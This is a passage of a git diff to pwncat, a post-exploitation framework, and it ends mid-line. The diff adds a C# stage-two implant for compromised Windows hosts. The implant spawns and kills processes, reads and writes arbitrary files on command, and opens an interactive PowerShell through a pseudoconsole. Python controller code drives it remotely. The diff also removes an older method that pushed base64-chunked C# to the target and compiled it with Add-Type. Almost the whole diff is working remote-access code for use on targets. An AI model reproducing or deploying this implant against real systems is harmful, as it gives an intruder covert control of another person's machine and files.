diff --git a/pwncat/data/stagetwo.cs b/pwncat/data/stagetwo.cs index ca7b24b..8a84ed8 100644 --- a/pwncat/data/stagetwo.cs +++ b/pwncat/data/stagetwo.cs @@ -1,5 +1,183 @@ +using System; +using System.IO; +using System.Text; +using System.Threading; +using System.Runtime.InteropServices; + class StageTwo { + + private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004; + private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008; + private const uint ENABLE_WRAP_AT_EOL_OUTPUT = 0x0002; + private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016; + private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; + private const uint CREATE_NO_WINDOW = 0x08000000; + private const int STARTF_USESTDHANDLES = 0x00000100; + private const int BUFFER_SIZE_PIPE = 1048576; + + private const UInt32 INFINITE = 0xFFFFFFFF; + private const int SW_HIDE = 0; + private const uint GENERIC_READ = 0x80000000; + private const uint GENERIC_WRITE = 0x40000000; + private const uint FILE_SHARE_READ = 0x00000001; + private const uint FILE_SHARE_WRITE = 0x00000002; + private const uint FILE_ATTRIBUTE_NORMAL = 0x80; + private const uint OPEN_EXISTING = 3; + private const uint OPEN_ALWAYS = 4; + private const uint TRUNCATE_EXISTING = 5; + private const int STD_INPUT_HANDLE = -10; + private const int STD_OUTPUT_HANDLE = -11; + private const int STD_ERROR_HANDLE = -12; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct STARTUPINFOEX + { + public STARTUPINFO StartupInfo; + public IntPtr lpAttributeList; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwYSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential)] + private struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public int dwProcessId; + public int dwThreadId; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SECURITY_ATTRIBUTES + { + public int nLength; + public IntPtr lpSecurityDescriptor; + public int bInheritHandle; + } + + [StructLayout(LayoutKind.Sequential)] + private struct COORD + { + public short X; + public short Y; + } + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool DuplicateHandle(IntPtr hSourceProcess, IntPtr hSource, IntPtr hTargetProcess, out IntPtr lpTarget, uint dwDesiredAccess, bool bInheritHandle, uint dwOptions); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool CancelSynchronousIo(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] + private static extern bool CreateProcessW(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetExitCodeProcess(IntPtr hProcess, out UInt32 lpExitCode); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr GetStdHandle(int nStdHandle); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] + private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern int CreatePseudoConsole(COORD size, IntPtr hInput, IntPtr hOutput, uint dwFlags, out IntPtr phPC); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern int ClosePseudoConsole(IntPtr hPC); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint mode); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool GetConsoleMode(IntPtr handle, out uint mode); + + [DllImport("kernel32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool AllocConsole(); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + private static extern bool FreeConsole(); + + [DllImport("user32.dll")] + private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + + [DllImport("kernel32.dll")] + private static extern IntPtr GetConsoleWindow(); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto)] + private static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll")] + private static extern bool FlushFileBuffers(IntPtr hFile); + + private System.Collections.Generic.List g_processes; + public System.String ReadUntilLine(System.String delimeter) { System.Text.StringBuilder builder = new System.Text.StringBuilder(); @@ -32,6 +210,187 @@ class StageTwo } } + public void process() + { + IntPtr stdin_read, stdin_write; + IntPtr stdout_read, stdout_write; + IntPtr stderr_read, stderr_write; + SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); + STARTUPINFO pInfo = new STARTUPINFO(); + PROCESS_INFORMATION childInfo = new PROCESS_INFORMATION(); + System.String command = System.Console.ReadLine(); + + pSec.nLength = Marshal.SizeOf(pSec); + pSec.bInheritHandle = 1; + pSec.lpSecurityDescriptor = IntPtr.Zero; + + if (!CreatePipe(out stdin_read, out stdin_write, ref pSec, BUFFER_SIZE_PIPE)) + { + System.Console.WriteLine("E:IN"); + return; + } + + if (!CreatePipe(out stdout_read, out stdout_write, ref pSec, BUFFER_SIZE_PIPE)) + { + System.Console.WriteLine("E:OUT"); + return; + } + + if (!CreatePipe(out stderr_read, out stderr_write, ref pSec, BUFFER_SIZE_PIPE)) + { + System.Console.WriteLine("E:ERR"); + return; + } + + pInfo.cb = Marshal.SizeOf(pInfo); + pInfo.hStdError = stderr_write; + pInfo.hStdOutput = stdout_write; + pInfo.hStdInput = stdin_read; + pInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; + + if (!CreateProcessW(null, command, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref pInfo, out childInfo)) + { + System.Console.WriteLine("E:PROC"); + return; + } + + CloseHandle(stdin_read); + CloseHandle(stdout_write); + CloseHandle(stderr_write); + + System.Console.WriteLine(childInfo.hProcess); + System.Console.WriteLine(stdin_write); + System.Console.WriteLine(stdout_read); + System.Console.WriteLine(stderr_read); + } + + public void ppoll() + { + IntPtr hProcess = new IntPtr(System.UInt32.Parse(System.Console.ReadLine())); + System.UInt32 result = WaitForSingleObject(hProcess, 0); + + if (result == 0x00000102L) + { + System.Console.WriteLine("R"); + return; + } + else if (result == 0xFFFFFFFF) + { + System.Console.WriteLine("E"); + return; + } + + if (!GetExitCodeProcess(hProcess, out result)) + { + System.Console.WriteLine("E"); + } + + System.Console.WriteLine(result); + } + + public void kill() + { + IntPtr hProcess = new IntPtr(System.UInt32.Parse(System.Console.ReadLine())); + UInt32 code = System.UInt32.Parse(System.Console.ReadLine()); + TerminateProcess(hProcess, code); + } + + public void open() + { + System.String filename = System.Console.ReadLine(); + System.String mode = System.Console.ReadLine(); + uint desired_access = GENERIC_READ; + uint creation_disposition = OPEN_EXISTING; + IntPtr handle; + + if (mode.Contains("r")) + { + desired_access |= GENERIC_READ; + } + if (mode.Contains("w")) + { + desired_access |= GENERIC_WRITE; + creation_disposition = TRUNCATE_EXISTING; + } + + handle = CreateFile(filename, desired_access, 0, IntPtr.Zero, creation_disposition, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); + + if (handle == (new IntPtr(-1))) + { + int error = Marshal.GetLastWin32Error(); + System.Console.Write("E:"); + System.Console.WriteLine(error); + return; + } + + System.Console.WriteLine(handle); + } + + public void read() + { + System.String line; + IntPtr handle; + uint count; + uint nreceived; + + line = System.Console.ReadLine(); + handle = new IntPtr(System.UInt32.Parse(line)); + line = System.Console.ReadLine(); + count = System.UInt32.Parse(line); + + byte[] buffer = new byte[count]; + + if (!ReadFile(handle, buffer, count, out nreceived, IntPtr.Zero)) + { + System.Console.WriteLine("0"); + return; + } + + System.Console.WriteLine(nreceived); + + using (Stream out_stream = System.Console.OpenStandardOutput()) + { + out_stream.Write(buffer, 0, (int)nreceived); + } + + return; + } + + public void write() + { + System.String line; + IntPtr handle; + uint count; + uint nwritten; + + line = System.Console.ReadLine(); + handle = new IntPtr(System.UInt32.Parse(line)); + line = System.Console.ReadLine(); + count = System.UInt32.Parse(line); + + byte[] buffer = new byte[count]; + + using (Stream in_stream = System.Console.OpenStandardInput()) + { + count = (uint)in_stream.Read(buffer, 0, (int)count); + } + + if (!WriteFile(handle, buffer, count, out nwritten, IntPtr.Zero)) + { + System.Console.WriteLine("0"); + return; + } + + System.Console.WriteLine(nwritten); + return; + } + + public void close() + { + IntPtr handle = new IntPtr(System.UInt32.Parse(System.Console.ReadLine())); + CloseHandle(handle); + } + public void powershell() { var command = System.Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(ReadUntilLine("# ENDBLOCK"))); @@ -75,4 +434,115 @@ class StageTwo var obj = r.CompiledAssembly.CreateInstance("command"); obj.GetType().GetMethod("main").Invoke(obj, new object[] { }); } + + public void interactive() + { + uint result; + IntPtr stdin_read = new IntPtr(0), stdin_write = new IntPtr(0); + IntPtr stdout_read = new IntPtr(0), stdout_write = new IntPtr(0); + UInt32 rows = System.UInt32.Parse(System.Console.ReadLine()); + UInt32 cols = System.UInt32.Parse(System.Console.ReadLine()); + COORD pty_size = new COORD() + { + X = (short)cols, + Y = (short)rows + }; + IntPtr hpcon = new IntPtr(0); + uint conmode = 0; + IntPtr old_stdin = GetStdHandle(STD_INPUT_HANDLE), + old_stdout = GetStdHandle(STD_OUTPUT_HANDLE), + old_stderr = GetStdHandle(STD_ERROR_HANDLE); + IntPtr stdout_handle = GetStdHandle(STD_OUTPUT_HANDLE); + IntPtr stdin_handle = GetStdHandle(STD_INPUT_HANDLE); + PROCESS_INFORMATION proc_info = new PROCESS_INFORMATION(); + SECURITY_ATTRIBUTES proc_attr = new SECURITY_ATTRIBUTES(); + SECURITY_ATTRIBUTES thread_attr = new SECURITY_ATTRIBUTES(); + SECURITY_ATTRIBUTES pipe_attr = new SECURITY_ATTRIBUTES() + { + bInheritHandle = 1, + lpSecurityDescriptor = IntPtr.Zero, + }; + STARTUPINFOEX startup_info = new STARTUPINFOEX(); + IntPtr lpSize = IntPtr.Zero; + Thread stdin_thread; + Thread stdout_thread; + bool new_console = false; + + proc_attr.nLength = Marshal.SizeOf(proc_attr); + thread_attr.nLength = Marshal.SizeOf(thread_attr); + pipe_attr.nLength = Marshal.SizeOf(pipe_attr); + + stdout_handle = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); + stdin_handle = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); + SetStdHandle(STD_INPUT_HANDLE, stdin_handle); + SetStdHandle(STD_ERROR_HANDLE, stdout_handle); + SetStdHandle(STD_OUTPUT_HANDLE, stdout_handle); + + GetConsoleMode(stdout_handle, out conmode); + uint new_conmode = conmode | ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN; + SetConsoleMode(stdout_handle, new_conmode); + + CreatePipe(out stdin_read, out stdin_write, ref pipe_attr, 8192); + CreatePipe(out stdout_read, out stdout_write, ref pipe_attr, 8192); + CreatePseudoConsole(pty_size, stdin_read, stdout_write, 0, out hpcon); + CloseHandle(stdin_read); + CloseHandle(stdout_write); + + InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); + startup_info.StartupInfo.cb = Marshal.SizeOf(startup_info); + startup_info.lpAttributeList = Marshal.AllocHGlobal(lpSize); + InitializeProcThreadAttributeList(startup_info.lpAttributeList, 1, 0, ref lpSize); + UpdateProcThreadAttribute(startup_info.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hpcon, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); + + CreateProcess(null, "powershell.exe", ref proc_attr, ref thread_attr, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref startup_info, out proc_info); + + stdin_thread = new Thread(pipe_thread); + stdin_thread.Start(new object[] { old_stdin, stdin_write, "stdin" }); + stdout_thread = new Thread(pipe_thread); + stdout_thread.Start(new object[] { stdout_read, old_stdout, "stdout" }); + + WaitForSingleObject(proc_info.hProcess, INFINITE); + + stdin_thread.Abort(); + stdout_thread.Abort(); + + CloseHandle(proc_info.hThread); + CloseHandle(proc_info.hProcess); + ClosePseudoConsole(hpcon); + CloseHandle(stdin_write); + CloseHandle(stdout_read); + + SetStdHandle(STD_INPUT_HANDLE, old_stdin); + SetStdHandle(STD_ERROR_HANDLE, old_stderr); + SetStdHandle(STD_OUTPUT_HANDLE, old_stdout); + + CloseHandle(stdout_handle); + CloseHandle(stdin_handle); + + System.Console.WriteLine(""); + System.Console.WriteLine("INTERACTIVE_COMPLETE"); + } + + private void pipe_thread(object dumb) + { + object[] parms = (object[])dumb; + IntPtr read = (IntPtr)parms[0]; + IntPtr write = (IntPtr)parms[1]; + String name = (String)parms[2]; + uint bufsz = 16 * 1024; + byte[] bytes = new byte[bufsz]; + bool read_success = false; + uint nsent = 0; + uint nread = 0; + + try { + do + { + read_success = ReadFile(read, bytes, bufsz, out nread, IntPtr.Zero); + WriteFile(write, bytes, nread, out nsent, IntPtr.Zero); + FlushFileBuffers(write); + } while (nsent > 0 && read_success); + } finally { + } + } } diff --git a/pwncat/manager.py b/pwncat/manager.py index 97e352e..291814e 100644 --- a/pwncat/manager.py +++ b/pwncat/manager.py @@ -23,7 +23,7 @@ from pwncat.commands import CommandParser class RawModeExit(Exception): - """ Indicates that the user would like to exit the raw mode + """Indicates that the user would like to exit the raw mode shell. This is normally raised when the user presses the + key combination to return to the local prompt.""" @@ -33,8 +33,8 @@ class InteractiveExit(Exception): class Session: - """ Wraps a channel and platform and tracks configuration and - database access per session """ + """Wraps a channel and platform and tracks configuration and + database access per session""" def __init__( self, @@ -86,14 +86,14 @@ class Session: @property def config(self): - """ Get the configuration object for this manager. This + """Get the configuration object for this manager. This is simply a wrapper for session.manager.config to make - accessing configuration a little easier. """ + accessing configuration a little easier.""" return self.manager.config def register_new_host(self): - """ Register a new host in the database. This assumes the - hash has already been stored in ``self.hash`` """ + """Register a new host in the database. This assumes the + hash has already been stored in ``self.hash``""" # Create a new host object and add it to the database host = pwncat.db.Host(hash=self.hash, platform=self.platform.name) @@ -121,9 +121,9 @@ class Session: return self.manager.modules[module].run(self, **kwargs) def find_module(self, pattern: str, base=None, exact: bool = False): - """ Locate a module by a glob pattern. This is an generator + """Locate a module by a glob pattern. This is an generator which may yield multiple modules that match the pattern and - base class. """ + base class.""" if base is None: base = pwncat.modules.BaseModule @@ -144,16 +144,16 @@ class Session: yield module def log(self, *args, **kwargs): - """ Log to the console. This utilizes the active sessions + """Log to the console. This utilizes the active sessions progress instance to log without messing up progress output - from other sessions, if we aren't active. """ + from other sessions, if we aren't active.""" self.manager.log(f"{self.platform}:", *args, **kwargs) @property @contextlib.contextmanager def db(self): - """ Retrieve a database session + """Retrieve a database session I'm not sure if this is the best way to handle database sessions. @@ -279,8 +279,8 @@ class Manager: pass def open_database(self): - """ Create the internal engine and session builder - for this manager based on the configured database """ + """Create the internal engine and session builder + for this manager based on the configured database""" if self.sessions and self.engine is not None: raise RuntimeError("cannot change database after sessions are established") @@ -313,7 +313,7 @@ class Manager: pass def load_modules(self, *paths): - """ Dynamically load modules from the specified paths + """Dynamically load modules from the specified paths If a module has the same name as an already loaded module, it will take it's place in the module list. This includes built-in modules. @@ -354,11 +354,11 @@ class Manager: self._target = value def _patch_pwntools(self): - """ This method patches stdout and stdin and sys.exchook + """This method patches stdout and stdin and sys.exchook back to their original contents temporarily in order to interact properly with pwntools. You must complete all pwntools progress items before calling this. It attempts to - remove all the hooks placed into stdio by pwntools. """ + remove all the hooks placed into stdio by pwntools.""" pwnlib = None @@ -442,6 +442,7 @@ class Manager: ) else: data = self.target.platform.channel.recv(4096) + self.target.platform.process_output(data) sys.stdout.buffer.write(data) except RawModeExit: pwncat.util.restore_terminal(term_state) diff --git a/pwncat/platform/__init__.py b/pwncat/platform/__init__.py index d9953d8..52fea0c 100644 --- a/pwncat/platform/__init__.py +++ b/pwncat/platform/__init__.py @@ -433,6 +433,12 @@ class Platform: def __str__(self): return str(self.channel) + def process_output(self, data): + """Process output from the terminal when in interactive mode. + This is mainly used to check if the user exited the interactive terminal, + and we should raise an InteractiveExit exception. It does nothing by + default.""" + def getenv(self, name: str): """ Get the value of an environment variable """ diff --git a/pwncat/platform/windows.py b/pwncat/platform/windows.py index b4cfb24..58bbf51 100644 --- a/pwncat/platform/windows.py +++ b/pwncat/platform/windows.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 -from io import TextIOWrapper, BufferedIOBase, UnsupportedOperation -from typing import List +from io import RawIOBase, TextIOWrapper, BufferedIOBase, UnsupportedOperation +from typing import List, Union from io import StringIO, BytesIO +from subprocess import CalledProcessError, TimeoutExpired +import subprocess import textwrap import pkg_resources import pathlib @@ -15,6 +17,90 @@ import pwncat.subprocess import pwncat.util from pwncat.platform import Platform, PlatformError, Path +INTERACTIVE_END_MARKER = b"\nINTERACTIVE_COMPLETE\r\n" + + +class WindowsFile(RawIOBase): + """ Wrapper around file handles on Windows """ + + def __init__(self, platform: "Windows", mode: str, handle: int): + self.platform = platform + self.mode = mode + self.handle = handle + self.is_open = True + self.eof = False + + def readable(self) -> bool: + return "r" in self.mode + + def writable(self) -> bool: + return "w" in self.mode + + def close(self): + """ Close a file handle on the remote host """ + + if not self.is_open: + return + + self.platform.channel.send(f"close\n{self.handle}\n".encode("utf-8")) + self.is_open = False + + return + + def readall(self): + """ Read until EOF """ + + data = b"" + + while not self.eof: + new = self.read(4096) + if new is None: + continue + data += new + + return data + + def readinto(self, b: Union[memoryview, bytearray]): + + if self.eof: + return 0 + + self.platform.channel.send(f"read\n{self.handle}\n{len(b)}\n".encode("utf-8")) + count = int(self.platform.channel.recvuntil(b"\n").strip()) + + if count == 0: + self.eof = True + return 0 + + n = 0 + while n < count: + try: + n += self.platform.channel.recvinto(b[n:]) + except NotImplementedError: + data = self.platform.channel.recv(count - n) + b[n : n + len(data)] = data + n += len(data) + + return count + + def write(self, data: bytes): + """ Write data to this file """ + + if self.eof: + return 0 + + nwritten = 0 + while nwritten < len(data): + chunk = data[nwritten:] + self.platform.channel.send( + f"write\n{self.handle}\n{len(chunk)}\n".encode("utf-8") + chunk + ) + nwritten += int( + self.platform.channel.recvuntil(b"\n").strip().decode("utf-8") + ) + + return nwritten + class PopenWindows(pwncat.subprocess.Popen): """ @@ -27,28 +113,182 @@ class PopenWindows(pwncat.subprocess.Popen): args, stdout, stdin, + stderr, text, encoding, errors, bufsize, - start_delim: bytes, - end_delim: bytes, - code_delim: bytes, + handle, + stdio, ): super().__init__() + self.platform = platform + self.handle = handle + self.stdio = stdio + self.returncode = None -class WindowsReader(BufferedIOBase): - """ - A file-like object which wraps a Popen object to enable reading a - remote file. - """ + self.stdin = WindowsFile(platform, "w", stdio[0]) + self.stdout = WindowsFile(platform, "r", stdio[1]) + self.stderr = WindowsFile(platform, "r", stdio[2]) + if stdout != subprocess.PIPE: + self.stdout.close() + self.stdout = None + if stderr != subprocess.PIPE: + self.stderr.close() + self.stderr = None + if stdin != subprocess.PIPE: + self.stdin.close() + self.stdin = None -class WindowsWriter(BufferedIOBase): - """A wrapper around an active Popen object which is writing to - a file. Remote files are not seekable, and cannot be simultaneous - read/write.""" + if text or encoding is not None or errors is not None: + line_buffering = bufsize == 1 + bufsize = -1 + + if self.stdout is not None: + self.stdout = TextIOWrapper( + self.stdout, + line_buffering=line_buffering, + encoding=encoding, + errors=errors, + ) + if self.stderr is not None: + self.stderr = TextIOWrapper( + self.stderr, + line_buffering=line_buffering, + encoding=encoding, + errors=errors, + ) + if self.stdin is not None: + self.stdin = TextIOWrapper( + self.stdin, encoding=encoding, errors=errors, write_through=True + ) + + def detach(self): + + self.returncode = 0 + + if self.stdout is not None: + self.stdout.close() + if self.stderr is not None: + self.stderr.close() + if self.stdin is not None: + self.stdin.close() + + def kill(self): + return self.terminate() + + def terminate(self): + + if self.returncode is not None: + return + + self.platform.channel.send(f"kill\n{self.handle}\n0\n".encode("utf-8")) + self.returncode = -1 + + def poll(self): + """ Poll if the process has completed and get return code """ + + if self.returncode is not None: + return self.returncode + + self.platform.channel.send(f"ppoll\n{self.handle}\n".encode("utf-8")) + result = self.platform.channel.recvuntil(b"\n").strip().decode("utf-8") + + if result == "E": + raise RuntimeError(f"process {self.handle}: failed to get exit status") + + if result != "R": + self.returncode = int(result) + return self.returncode + + def wait(self, timeout: float = None): + + if timeout is not None: + end_time = time.time() + timeout + else: + end_time = None + + while self.poll() is None: + if end_time is not None and time.time() >= end_time: + raise TimeoutExpired(self.args, timeout) + + time.sleep(0.1) + + self.cleanup() + return self.returncode + + def cleanup(self): + if self.stdout is not None: + self.stdout.close() + if self.stdin is not None: + self.stdin.close() + if self.stderr is not None: + self.stderr.close() + + # This just forces CloseHandle on the hProcess + WindowsFile(self.platform, "r", self.handle).close() + + self.handle = None + self.stdout = None + self.stderr = None + self.stdin = None + + def communicate(self, input=None, timeout=None): + + if self.returncode is not None: + return (None, None) + + if input is not None and self.stdin is not None: + self.stdin.write(input) + + if timeout is not None: + end_time = time.time() + timeout + else: + end_time = None + + stdout = ( + "" if self.stdout is None or isinstance(self.stdout, TextIOWrapper) else b"" + ) + stderr = ( + "" if self.stderr is None or isinstance(self.stderr, TextIOWrapper) else b"" + ) + + while self.poll() is None: + if end_time is not None and time.time() >= end_time: + raise TimeoutExpired(self.args, timeout, stdout) + if self.stdout is not None: + new_stdout = self.stdout.read(4096) + if new_stdout is not None: + stdout += new_stdout + if self.stderr is not None: + new_stderr = self.stderr.read(4096) + if new_stderr is not None: + stderr += new_stderr + + if self.stdout is not None: + while True: + new = self.stdout.read(4096) + stdout += new + if len(new) == 0: + break + + if self.stderr is not None: + while True: + new = self.stderr.read(4096) + stderr += new + if len(new) == 0: + break + + if len(stderr) == 0: + stderr = None + if len(stdout) == 0: + stdout = None + + self.cleanup() + + return (stdout, stderr) class Windows(Platform): @@ -78,6 +318,7 @@ class Windows(Platform): # Initialize interactive tracking self._interactive = False + self.interactive_tracker = 0 # Ensure history is disabled (this does not help logging!) # self.disable_history() @@ -166,6 +407,10 @@ class Windows(Platform): # Wait for the new C2 to be ready self.channel.recvuntil(b"READY") + self.channel.recvuntil(b"\n") + + def get_pty(self): + """ We don't need to do this for windows """ def _load_library(self, name: str, methods: List[str]): """Load the library. This adds a global with the same name as `name` @@ -198,51 +443,76 @@ class Windows(Platform): self.channel.send(command) self.session.manager.log(command.decode("utf-8").strip()) - def get_pty(self): - """ Spawn a PTY in the current shell. """ + def Popen( + self, + args, + bufsize=-1, + stdin=None, + stdout=None, + stderr=None, + shell=False, + cwd=None, + encoding=None, + text=None, + errors=None, + env=None, + bootstrap_input=None, + **other_popen_kwargs, + ) -> pwncat.subprocess.Popen: - if self.has_pty: - return - - cols, rows = os.get_terminal_size() - - # Read the C# used to spawn a conpty - conpty_path = pkg_resources.resource_filename("pwncat", "data/conpty.cs") - with open(conpty_path, "rb") as filp: - source = filp.read() - - source = source.replace(b"ROWS", str(rows).encode("utf-8")) - source = source.replace(b"COLS", str(cols).encode("utf-8")) - - # base64 encode the source - source = base64.b64encode(source) - CHUNK_SZ = 1024 - - # Initialize victim source variable - self.channel.send(b'$source = ""\n') - - # Chunk the source in 64-byte pieces - for idx in range(0, len(source), CHUNK_SZ): - chunk = source[idx : idx + CHUNK_SZ] - self.channel.send(b'$source = $source + "' + chunk + b'"\n') - - # decode the source - self.channel.send( - b"$source = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($source))\n" - ) - - # Compile and execute - self.channel.send( - b"\n".join( - [ - b"Add-Type -TypeDefinition $source -Language CSharp", - b'[ConPtyShellMainClass]::ConPtyShellMain(@("", 0, 24, 80, "powershell.exe")); exit', - ] + if self.interactive: + raise PlatformError( + "cannot open non-interactive process in interactive mode" ) - + b"\n" - ) - self.has_pty = True + if shell: + if isinstance(args, list): + args = [ + "powershell.exe", + "-noprofile", + "-command", + subprocess.list2cmdline(args), + ] + else: + args = ["powershell.exe", "-noprofile", "-command", args] + + # This is apparently what subprocess.Popen does on windows... + if isinstance(args, list): + args = subprocess.list2cmdline(args) + elif not isinstance(args, str): + raise ValueError("expected command string or list of arguments") + + self.channel.send(f"""process\n{args}\n""".encode("utf-8")) + + hProcess = self.channel.recvuntil(b"\n").strip().decode("utf-8") + if hProcess == "E:IN": + raise RuntimeError("failed to open stdin pipe") + if hProcess == "E:OUT": + raise RuntimeError("failed to open stdout pipe") + if hProcess == "E:ERR": + raise RuntimeError("failed to open stderr pipe") + if hProcess == "E:PROC": + raise FileNotFoundError("executable or command not found") + + # Collect process properties + hProcess = int(hProcess) + stdio = [] + for i in range(3): + stdio.append(int(self.channel.recvuntil(b"\n").strip().decode("utf-8"))) + + return PopenWindows( + self, + args, + stdout, + stdin, + stderr, + text, + encoding, + errors, + bufsize, + hProcess, + stdio, + ) def get_host_hash(self): return "windows-testing" @@ -254,26 +524,77 @@ class Windows(Platform): @interactive.setter def interactive(self, value): - return + if value == self._interactive: + return + + # Reset the tracker if value: + # Shift to interactive mode + cols, rows = os.get_terminal_size() + self.channel.send(f"\ninteractive\n{rows}\n{cols}\n".encode("utf-8")) + self._interactive = True + self.interactive_tracker = 0 + return + if not value: + if self.interactive_tracker != len(INTERACTIVE_END_MARKER): + self.channel.send(b"\rexit\r") + self.channel.recvuntil(INTERACTIVE_END_MARKER) + self.channel.send(b"nothing\r\n") + self._interactive = False - command = ( - "".join( - [ - "function global:prompt {", - 'Write-Host -Object "(remote) " -NoNewLine -ForegroundColor Red;', - 'Write-Host -Object "$env:UserName@$(hostname)" -NoNewLine -ForegroundColor Yellow;', - 'Write-Host -Object ":" -NoNewLine;', - 'Write-Host -Object "$(Get-Location)" -NoNewLine -ForegroundColor Cyan;', - "return '$ ';", - "}", - ] - ) - + "\r" + def process_output(self, data): + """ Process stdout while in interactive mode """ + + for b in data: + if INTERACTIVE_END_MARKER[self.interactive_tracker] == b: + self.interactive_tracker += 1 + if self.interactive_tracker == len(INTERACTIVE_END_MARKER): + raise pwncat.manager.RawModeExit + else: + self.interactive_tracker = 0 + + def open( + self, + path: Union[str, Path], + mode: str = "r", + buffering: int = -1, + encoding: str = "utf-8", + errors: str = None, + newline: str = None, + ): + + # Ensure all mode properties are valid + for char in mode: + if char not in 